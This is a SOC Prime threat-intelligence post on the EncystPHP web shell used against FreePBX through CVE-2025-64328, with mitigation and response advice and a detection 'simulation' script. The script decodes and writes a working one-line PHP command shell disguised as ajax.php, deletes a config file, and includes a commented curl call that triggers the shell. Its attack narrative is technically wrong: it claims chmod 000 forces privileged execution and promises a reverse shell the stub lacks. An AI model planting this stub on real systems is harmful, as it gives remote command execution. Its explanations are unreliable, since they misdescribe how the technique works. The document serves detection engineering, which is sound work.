SOC Prime Bias: Critical

03 Feb 2026 16:33 UTC

EncystPHP: Weaponized FreePBX Web Shell for Persistent Admin Compromise

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
EncystPHP: Weaponized FreePBX Web Shell for Persistent Admin Compromise
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

FortiGuard Labs reports a PHP web shell dubbed EncystPHP deployed on exposed FreePBX instances by exploiting CVE-2025-64328. The implant enables remote command execution, provisions privileged users, and sets layered persistence through cron jobs and follow-on droppers. Activity is linked to the INJ3CTOR3 crew and appears aimed at telecommunications environments. Published indicators include malicious IPs, domains, URLs, and multiple hostile file paths.

Investigation

Investigators traced initial access to a post-authentication command-injection flaw in FreePBX Endpoint Manager. After successful exploitation, the operator pulls a dropper from 45.234.176.202, relaxes permissions on key PHP components, extracts database credentials, creates a root-level account, and adds an attacker-controlled SSH key. Persistence is reinforced with cron entries that repeatedly fetch additional droppers and refresh artifacts. EncystPHP also impersonates legitimate FreePBX files and manipulates timestamps to reduce visibility during routine triage.

Mitigation

Patch FreePBX Endpoint Manager to address CVE-2025-64328 (and any related fixes) as soon as possible. Hunt for unauthorized web shell files, suspicious cron schedules, and newly created privileged local users. Block outbound HTTP to known malicious infrastructure and enforce strict, least-privilege permissions on web-facing directories and PHP assets.

Response

On detection, isolate the affected PBX server, remove EncystPHP artifacts, purge unauthorized cron jobs, and reset local accounts and SSH keys. Review logs and configuration backups to scope changes, then apply current security updates and harden the web interface. Validate that no secondary droppers or persistence mechanisms remain before restoring normal telephony operations.

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Upload the EncystPHP web shell – The attacker crafts a Base64‑encoded PHP payload and delivers it via an HTTP POST to the FreePBX web UI, causing the file ajax.php to be written to /var/www/html/admin/views/ajax.php.
    2. Set restrictive permissions – Immediately after deployment, the attacker runs chmod 000 ajax.php to hide the shell from normal users and force execution under the web server’s privileged account (T1222.002).
    3. Delete critical configuration – To impair detection and force the system to reload with the malicious shell, the attacker removes /etc/freepbx.conf (T1070.004, T1562.001).
    4. Trigger the shell – A simple HTTP GET to the newly created ajax.php executes the payload, establishing a reverse shell (T1105, T1059.004).
  • Regression Test Script: The script reproduces steps 1‑3 in a controlled test directory (/tmp/freepbx_test) to avoid affecting a production system.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Cleanup Commands:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Test environment cleaned."